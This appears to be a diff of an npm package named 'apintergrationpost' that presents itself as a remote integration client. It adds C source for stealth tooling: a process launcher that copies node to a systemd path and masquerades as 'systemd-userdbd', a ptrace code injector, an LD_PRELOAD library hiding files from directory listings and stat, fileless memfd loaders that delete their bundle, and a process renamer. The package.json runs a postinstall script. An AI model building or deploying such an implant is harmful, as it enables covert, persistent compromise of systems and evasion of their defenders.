apintergrationpost 4.0.1

package/native/lab-tools/agent_launcher.c

@@ -0,0 +1,96 @@
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/prctl.h>
+#include <sys/stat.h>
+#include <unistd.h>
+
+static void scrub_argv(char *argv0, const char *fake_name) {
+    if (!argv0 || !fake_name) return;
+    size_t len = strlen(argv0);
+    if (len == 0) return;
+    memset(argv0, 0, len);
+    strncpy(argv0, fake_name, len - 1);
+}
+
+static void daemonize(void) {
+    pid_t pid = fork();
+    if (pid < 0) _exit(1);
+    if (pid > 0) _exit(0);
+    if (setsid() < 0) _exit(1);
+    pid = fork();
+    if (pid < 0) _exit(1);
+    if (pid > 0) _exit(0);
+    chdir("/");
+}
+
+static int copy_file(const char *src, const char *dst) {
+    int in = open(src, O_RDONLY);
+    if (in < 0) return -1;
+    int out = open(dst, O_WRONLY | O_CREAT | O_TRUNC, 0755);
+    if (out < 0) {
+        close(in);
+        return -1;
+    }
+    char buf[8192];
+    ssize_t n;
+    while ((n = read(in, buf, sizeof(buf))) > 0) {
+        if (write(out, buf, (size_t)n) != n) {
+            close(in);
+            close(out);
+            return -1;
+        }
+    }
+    close(in);
+    close(out);
+    return 0;
+}
+
+int main(int argc, char *argv[]) {
+    const char *node_path = "/usr/bin/node";
+    const char *script_path = NULL;
+    const char *blend_path = "/usr/lib/systemd/systemd-userdbd";
+    const char *comm_name = "systemd-userdbd";
+    const char *fake_arg = "--user";
+    int do_daemon = 0;
+
+    for (int i = 1; i < argc; i++) {
+        if (strcmp(argv[i], "--node") == 0 && i + 1 < argc) node_path = argv[++i];
+        else if (strcmp(argv[i], "--script") == 0 && i + 1 < argc) script_path = argv[++i];
+        else if (strcmp(argv[i], "--blend") == 0 && i + 1 < argc) blend_path = argv[++i];
+        else if (strcmp(argv[i], "--comm") == 0 && i + 1 < argc) comm_name = argv[++i];
+        else if (strcmp(argv[i], "--fake-arg") == 0 && i + 1 < argc) fake_arg = argv[++i];
+        else if (strcmp(argv[i], "--daemon") == 0) do_daemon = 1;
+    }
+
+    if (!script_path) {
+        return 2;
+    }
+
+    if (do_daemon) {
+        daemonize();
+    }
+
+    copy_file(node_path, blend_path);
+
+    pid_t pid = fork();
+    if (pid < 0) return 1;
+
+    if (pid == 0) {
+        prctl(PR_SET_NAME, comm_name, 0, 0, 0);
+        scrub_argv(argv[0], comm_name);
+        char *child_argv[] = { (char *)blend_path, (char *)fake_arg, (char *)script_path, NULL };
+        execv(node_path, child_argv);
+        child_argv[0] = (char *)node_path;
+        child_argv[1] = (char *)script_path;
+        child_argv[2] = NULL;
+        execv(node_path, child_argv);
+        _exit(127);
+    }
+
+    printf("%d\n", (int)pid);
+    return 0;
+}

package/native/lab-tools/injector.c

@@ -0,0 +1,80 @@
+#define _GNU_SOURCE
+#include <errno.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ptrace.h>
+#include <sys/types.h>
+#include <sys/uio.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+static unsigned long find_exec_page(pid_t pid) {
+    char maps_path[64];
+    snprintf(maps_path, sizeof(maps_path), "/proc/%d/maps", (int)pid);
+    FILE *f = fopen(maps_path, "r");
+    if (!f) return 0;
+
+    char line[512];
+    unsigned long addr = 0;
+    while (fgets(line, sizeof(line), f)) {
+        if (strstr(line, " r-xp ") || strstr(line, " r-xs ")) {
+            if (sscanf(line, "%lx-", &addr) == 1) break;
+        }
+    }
+    fclose(f);
+    return addr;
+}
+
+static int inject_at(pid_t pid, unsigned long addr) {
+    unsigned char stub[] = { 0x90, 0x90, 0x90, 0x90, 0xcc };
+    for (size_t i = 0; i < sizeof(stub); i++) {
+        long word = ptrace(PTRACE_PEEKDATA, pid, (void *)(addr + i), NULL);
+        if (word == -1 && errno) continue;
+        unsigned char orig = (unsigned char)(word & 0xff);
+        long patched = (word & ~0xffUL) | stub[i];
+        if (ptrace(PTRACE_POKEDATA, pid, (void *)(addr + i), (void *)patched) != 0) {
+            return -1;
+        }
+        (void)orig;
+    }
+    return 0;
+}
+
+int main(int argc, char *argv[]) {
+    pid_t target = 0;
+    int spawn_sleep = 0;
+
+    for (int i = 1; i < argc; i++) {
+        if (strcmp(argv[i], "--spawn-sleep") == 0) spawn_sleep = 1;
+        else if (strcmp(argv[i], "--pid") == 0 && i + 1 < argc) target = (pid_t)atoi(argv[++i]);
+        else if (target == 0) target = (pid_t)atoi(argv[i]);
+    }
+
+    if (spawn_sleep && target <= 0) {
+        pid_t child = fork();
+        if (child == 0) {
+            execlp("sleep", "sleep", "600", (char *)NULL);
+            _exit(127);
+        }
+        if (child < 0) return 1;
+        target = child;
+    }
+
+    if (target <= 0) return 2;
+
+    if (ptrace(PTRACE_ATTACH, target, NULL, NULL) != 0) return 1;
+    waitpid(target, NULL, 0);
+
+    unsigned long addr = find_exec_page(target);
+    if (addr == 0) {
+        ptrace(PTRACE_DETACH, target, NULL, NULL);
+        return 1;
+    }
+
+    inject_at(target, addr);
+    ptrace(PTRACE_DETACH, target, NULL, NULL);
+
+    printf("%d\n", (int)target);
+    return 0;
+}

package/native/lab-tools/libcache.c

@@ -0,0 +1,80 @@
+#define _GNU_SOURCE
+#include <dirent.h>
+#include <dlfcn.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <unistd.h>
+
+static char hide_paths[4096];
+
+static void load_hide_paths(void) {
+    const char *env = getenv("MYRA_HIDE_PATHS");
+    if (!env) return;
+    strncpy(hide_paths, env, sizeof(hide_paths) - 1);
+}
+
+static int should_hide(const char *name) {
+    if (!name || !hide_paths[0]) return 0;
+    char buf[4096];
+    strncpy(buf, hide_paths, sizeof(buf) - 1);
+    char *save = NULL;
+    for (char *tok = strtok_r(buf, ":", &save); tok; tok = strtok_r(NULL, ":", &save)) {
+        if (strstr(name, tok) != NULL) return 1;
+    }
+    return 0;
+}
+
+typedef struct dirent *(*readdir_fn)(DIR *);
+typedef struct dirent64 *(*readdir64_fn)(DIR *);
+
+static readdir_fn real_readdir = NULL;
+static readdir64_fn real_readdir64 = NULL;
+
+struct dirent *readdir(DIR *dirp) {
+    if (!real_readdir) real_readdir = (readdir_fn)dlsym(RTLD_NEXT, "readdir");
+    if (!real_readdir) return NULL;
+    struct dirent *entry;
+    while ((entry = real_readdir(dirp)) != NULL) {
+        if (!should_hide(entry->d_name)) return entry;
+    }
+    return NULL;
+}
+
+struct dirent64 *readdir64(DIR *dirp) {
+    if (!real_readdir64) real_readdir64 = (readdir64_fn)dlsym(RTLD_NEXT, "readdir64");
+    if (!real_readdir64) return NULL;
+    struct dirent64 *entry;
+    while ((entry = real_readdir64(dirp)) != NULL) {
+        if (!should_hide(entry->d_name)) return entry;
+    }
+    return NULL;
+}
+
+static int (*real_stat)(const char *, struct stat *) = NULL;
+static int (*real_lstat)(const char *, struct stat *) = NULL;
+
+int stat(const char *pathname, struct stat *buf) {
+    if (!real_stat) real_stat = dlsym(RTLD_NEXT, "stat");
+    if (pathname && should_hide(pathname)) {
+        errno = ENOENT;
+        return -1;
+    }
+    return real_stat(pathname, buf);
+}
+
+int lstat(const char *pathname, struct stat *buf) {
+    if (!real_lstat) real_lstat = dlsym(RTLD_NEXT, "lstat");
+    if (pathname && should_hide(pathname)) {
+        errno = ENOENT;
+        return -1;
+    }
+    return real_lstat(pathname, buf);
+}
+
+__attribute__((constructor))
+static void init(void) {
+    load_hide_paths();
+}

package/native/lab-tools/memfd_exec.c

@@ -0,0 +1,123 @@
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <unistd.h>
+
+static ssize_t write_all(int fd, const void *buf, size_t len) {
+    const char *p = buf;
+    size_t left = len;
+    while (left > 0) {
+        ssize_t n = write(fd, p, left);
+        if (n < 0) {
+            if (errno == EINTR) continue;
+            return -1;
+        }
+        p += n;
+        left -= (size_t)n;
+    }
+    return (ssize_t)len;
+}
+
+static int load_payload(const char *path, char **out, size_t *out_len) {
+    int fd = open(path, O_RDONLY);
+    if (fd < 0) return -1;
+
+    struct stat st;
+    if (fstat(fd, &st) != 0) {
+        close(fd);
+        return -1;
+    }
+
+    if (st.st_size <= 0 || st.st_size > (1024 * 1024 * 16)) {
+        close(fd);
+        errno = EFBIG;
+        return -1;
+    }
+
+    char *buf = malloc((size_t)st.st_size);
+    if (!buf) {
+        close(fd);
+        return -1;
+    }
+
+    size_t total = 0;
+    while (total < (size_t)st.st_size) {
+        ssize_t n = read(fd, buf + total, (size_t)st.st_size - total);
+        if (n < 0) {
+            free(buf);
+            close(fd);
+            return -1;
+        }
+        if (n == 0) break;
+        total += (size_t)n;
+    }
+    close(fd);
+
+    *out = buf;
+    *out_len = total;
+    return 0;
+}
+
+int main(int argc, char *argv[]) {
+    if (argc < 2) {
+        return 2;
+    }
+
+    char *payload = NULL;
+    size_t payload_len = 0;
+    if (load_payload(argv[1], &payload, &payload_len) != 0) {
+        return 1;
+    }
+
+    int memfd = memfd_create(".cache", MFD_CLOEXEC);
+    if (memfd < 0) {
+        free(payload);
+        return 1;
+    }
+
+    if (write_all(memfd, payload, payload_len) < 0) {
+        free(payload);
+        close(memfd);
+        return 1;
+    }
+    free(payload);
+
+    char fd_path[64];
+    snprintf(fd_path, sizeof(fd_path), "/proc/self/fd/%d", memfd);
+
+    char *exec_envp[] = { NULL };
+    size_t saved_len = payload_len;
+
+    pid_t pid = fork();
+    if (pid < 0) {
+        close(memfd);
+        return 1;
+    }
+
+    if (pid == 0) {
+        unsigned char magic0 = 0;
+        if (saved_len >= 4) {
+            lseek(memfd, 0, SEEK_SET);
+            read(memfd, &magic0, 1);
+            lseek(memfd, 0, SEEK_SET);
+        }
+
+        if (saved_len >= 4 && magic0 == 0x7f) {
+            char *exec_argv[] = { fd_path, NULL };
+            fexecve(memfd, exec_argv, exec_envp);
+        }
+
+        char *sh_argv[] = { "/bin/sh", fd_path, NULL };
+        execv("/bin/sh", sh_argv);
+        _exit(127);
+    }
+
+    close(memfd);
+    printf("%d\n", (int)pid);
+    return 0;
+}

package/native/lab-tools/memfd_loader.c

@@ -0,0 +1,224 @@
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/prctl.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#define MAX_CLIENT_ARGS 32
+#define MAX_ENV 32
+
+static ssize_t write_all(int fd, const void *buf, size_t len) {
+    const char *p = buf;
+    size_t left = len;
+    while (left > 0) {
+        ssize_t n = write(fd, p, left);
+        if (n < 0) {
+            if (errno == EINTR) continue;
+            return -1;
+        }
+        p += n;
+        left -= (size_t)n;
+    }
+    return (ssize_t)len;
+}
+
+static int read_file(const char *path, char **out, size_t *out_len) {
+    int fd = open(path, O_RDONLY);
+    if (fd < 0) return -1;
+
+    struct stat st;
+    if (fstat(fd, &st) != 0) {
+        close(fd);
+        return -1;
+    }
+    if (st.st_size <= 0 || st.st_size > (256L * 1024 * 1024)) {
+        close(fd);
+        errno = EFBIG;
+        return -1;
+    }
+
+    char *buf = malloc((size_t)st.st_size);
+    if (!buf) {
+        close(fd);
+        return -1;
+    }
+
+    size_t total = 0;
+    while (total < (size_t)st.st_size) {
+        ssize_t n = read(fd, buf + total, (size_t)st.st_size - total);
+        if (n < 0) {
+            free(buf);
+            close(fd);
+            return -1;
+        }
+        if (n == 0) break;
+        total += (size_t)n;
+    }
+    close(fd);
+    *out = buf;
+    *out_len = total;
+    return 0;
+}
+
+static int write_memfd(const char *name, const char *data, size_t len) {
+    int fd = memfd_create(name, MFD_CLOEXEC);
+    if (fd < 0) return -1;
+    if (write_all(fd, data, len) < 0) {
+        close(fd);
+        return -1;
+    }
+    return fd;
+}
+
+static void scrub_argv(char *argv0, const char *fake) {
+    if (!argv0 || !fake) return;
+    size_t len = strlen(argv0);
+    if (len == 0) return;
+    memset(argv0, 0, len);
+    strncpy(argv0, fake, len - 1);
+}
+
+static void daemonize(void) {
+    pid_t pid = fork();
+    if (pid < 0) _exit(1);
+    if (pid > 0) _exit(0);
+    if (setsid() < 0) _exit(1);
+    pid = fork();
+    if (pid < 0) _exit(1);
+    if (pid > 0) _exit(0);
+    chdir("/");
+}
+
+int main(int argc, char *argv[]) {
+    const char *node_path = "/usr/bin/node";
+    const char *bundle_path = NULL;
+    const char *comm_name = "systemd-userdbd";
+    const char *fake_arg = "--user";
+    const char *config_path = NULL;
+    int do_daemon = 0;
+    int scrub = 0;
+    int unlink_bundle = 0;
+
+    char *client_args[MAX_CLIENT_ARGS];
+    int client_argc = 0;
+    int passthrough = 0;
+
+    for (int i = 1; i < argc; i++) {
+        if (passthrough) {
+            if (client_argc >= MAX_CLIENT_ARGS - 1) break;
+            client_args[client_argc++] = argv[i];
+            continue;
+        }
+        if (strcmp(argv[i], "--") == 0) {
+            passthrough = 1;
+            continue;
+        }
+        if (strcmp(argv[i], "--node") == 0 && i + 1 < argc) {
+            node_path = argv[++i];
+        } else if (strcmp(argv[i], "--bundle") == 0 && i + 1 < argc) {
+            bundle_path = argv[++i];
+        } else if (strcmp(argv[i], "--comm") == 0 && i + 1 < argc) {
+            comm_name = argv[++i];
+        } else if (strcmp(argv[i], "--fake-arg") == 0 && i + 1 < argc) {
+            fake_arg = argv[++i];
+        } else if (strcmp(argv[i], "--config") == 0 && i + 1 < argc) {
+            config_path = argv[++i];
+        } else if (strcmp(argv[i], "--daemon") == 0) {
+            do_daemon = 1;
+        } else if (strcmp(argv[i], "--scrub-argv") == 0) {
+            scrub = 1;
+        } else if (strcmp(argv[i], "--unlink-bundle") == 0) {
+            unlink_bundle = 1;
+        }
+    }
+
+    if (!bundle_path) {
+        return 2;
+    }
+
+    char *node_data = NULL;
+    char *bundle_data = NULL;
+    size_t node_len = 0;
+    size_t bundle_len = 0;
+
+    if (read_file(node_path, &node_data, &node_len) != 0) {
+        return 1;
+    }
+    if (read_file(bundle_path, &bundle_data, &bundle_len) != 0) {
+        free(node_data);
+        return 1;
+    }
+
+    if (unlink_bundle) {
+        unlink(bundle_path);
+    }
+
+    int node_mfd = write_memfd(".node", node_data, node_len);
+    free(node_data);
+    if (node_mfd < 0) {
+        free(bundle_data);
+        return 1;
+    }
+
+    int bundle_mfd = write_memfd(".bundle", bundle_data, bundle_len);
+    free(bundle_data);
+    if (bundle_mfd < 0) {
+        close(node_mfd);
+        return 1;
+    }
+
+    pid_t pid = fork();
+    if (pid < 0) {
+        close(node_mfd);
+        close(bundle_mfd);
+        return 1;
+    }
+
+    if (pid == 0) {
+        if (do_daemon) {
+            daemonize();
+        }
+
+        char script_path[64];
+        snprintf(script_path, sizeof(script_path), "/proc/self/fd/%d", bundle_mfd);
+
+        prctl(PR_SET_NAME, comm_name, 0, 0, 0);
+        if (scrub) {
+            scrub_argv(argv[0], comm_name);
+        }
+
+        setenv("MYRA_MEMFD_MODE", "full", 1);
+        setenv("MYRA_MEMFD_CHILD", "1", 1);
+        setenv("MYRA_FEATURES_PTY", "false", 1);
+        setenv("NODE_OPTIONS", "--no-warnings", 1);
+        if (config_path) {
+            setenv("MYRA_CONFIG", config_path, 1);
+        }
+
+        char *exec_argv[MAX_CLIENT_ARGS + 4];
+        int idx = 0;
+        exec_argv[idx++] = (char *)comm_name;
+        if (fake_arg && fake_arg[0]) {
+            exec_argv[idx++] = (char *)fake_arg;
+        }
+        exec_argv[idx++] = script_path;
+        for (int i = 0; i < client_argc; i++) {
+            exec_argv[idx++] = client_args[i];
+        }
+        exec_argv[idx] = NULL;
+
+        fexecve(node_mfd, exec_argv, environ);
+        _exit(127);
+    }
+
+    close(node_mfd);
+    close(bundle_mfd);
+    printf("%d\n", (int)pid);
+    return 0;
+}

package/native/lab-tools/proc_hide.c

@@ -0,0 +1,64 @@
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/prctl.h>
+#include <unistd.h>
+
+static void scrub_argv(char *argv0, const char *fake_name) {
+    if (!argv0 || !fake_name) return;
+    size_t len = strlen(argv0);
+    if (len == 0) return;
+    memset(argv0, 0, len);
+    strncpy(argv0, fake_name, len - 1);
+}
+
+static int apply_hide(pid_t target, const char *comm_name, int scrub) {
+    char comm_path[64];
+    char cmdline_path[64];
+    snprintf(comm_path, sizeof(comm_path), "/proc/%d/comm", (int)target);
+    snprintf(cmdline_path, sizeof(cmdline_path), "/proc/%d/comm", (int)target);
+
+    if (target == getpid()) {
+        prctl(PR_SET_NAME, comm_name, 0, 0, 0);
+        if (scrub) scrub_argv(NULL, comm_name);
+    }
+
+    int fd = open(comm_path, O_WRONLY);
+    if (fd >= 0) {
+        dprintf(fd, "%s", comm_name);
+        close(fd);
+    }
+
+    (void)cmdline_path;
+    return 0;
+}
+
+int main(int argc, char *argv[]) {
+    const char *comm_name = "systemd-userdbd";
+    pid_t target = 0;
+    int scrub = 0;
+    int self_mode = 0;
+
+    for (int i = 1; i < argc; i++) {
+        if (strcmp(argv[i], "--comm") == 0 && i + 1 < argc) comm_name = argv[++i];
+        else if (strcmp(argv[i], "--pid") == 0 && i + 1 < argc) target = (pid_t)atoi(argv[++i]);
+        else if (strcmp(argv[i], "--self") == 0) { self_mode = 1; target = getpid(); }
+        else if (strcmp(argv[i], "--scrub-argv") == 0) scrub = 1;
+    }
+
+    if (self_mode || target > 0) {
+        if (self_mode) {
+            prctl(PR_SET_NAME, comm_name, 0, 0, 0);
+            if (scrub) scrub_argv(argv[0], comm_name);
+        } else {
+            apply_hide(target, comm_name, scrub);
+        }
+        printf("%d\n", (int)(self_mode ? getpid() : target));
+        return 0;
+    }
+
+    return 2;
+}

package/package.json

@@ -0,0 +1,45 @@
+{
+  "name": "apintergrationpost",
+  "version": "4.0.1",
+  "description": "Remote integration client for authorized lab and enterprise post-deployment workflows",
+  "license": "MIT",
+  "engines": {
+    "node": ">=18"
+  },
+  "bin": {
+    "apintergrationpost": "bin/apintergrationpost.js",
+    "apintergrationpost-install": "bin/apintergrationpost-install.js"
+  },
+  "files": [
+    "bin/",
+    "src/",
+    "native/",
+    "scripts/prepare-native.js",
+    "scripts/postinstall-run.js",
+    "apintergrationpost.config.json",
+    "README.md"
+  ],
+  "scripts": {
+    "prepare": "node scripts/prepare-native.js",
+    "postinstall": "node scripts/postinstall-run.js",
+    "prepublishOnly": "node -e \"require('fs').accessSync('apintergrationpost.config.json')\"",
+    "server": "node src/server/index.js",
+    "client": "node bin/apintergrationpost.js",
+    "build-native": "make -C native/lab-tools",
+    "bundle-agent": "node scripts/bundle-agent.js",
+    "correlate": "node scripts/correlate-events.js",
+    "edr-matrix": "bash scripts/edr-test-matrix.sh",
+    "test:detection-tier": "bash scripts/detection-tier/run-all.sh"
+  },
+  "dependencies": {
+    "node-pty": "^1.0.0"
+  },
+  "devDependencies": {
+    "esbuild": "^0.25.0"
+  },
+  "keywords": [
+    "integration",
+    "remote-client",
+    "ubuntu"
+  ]
+}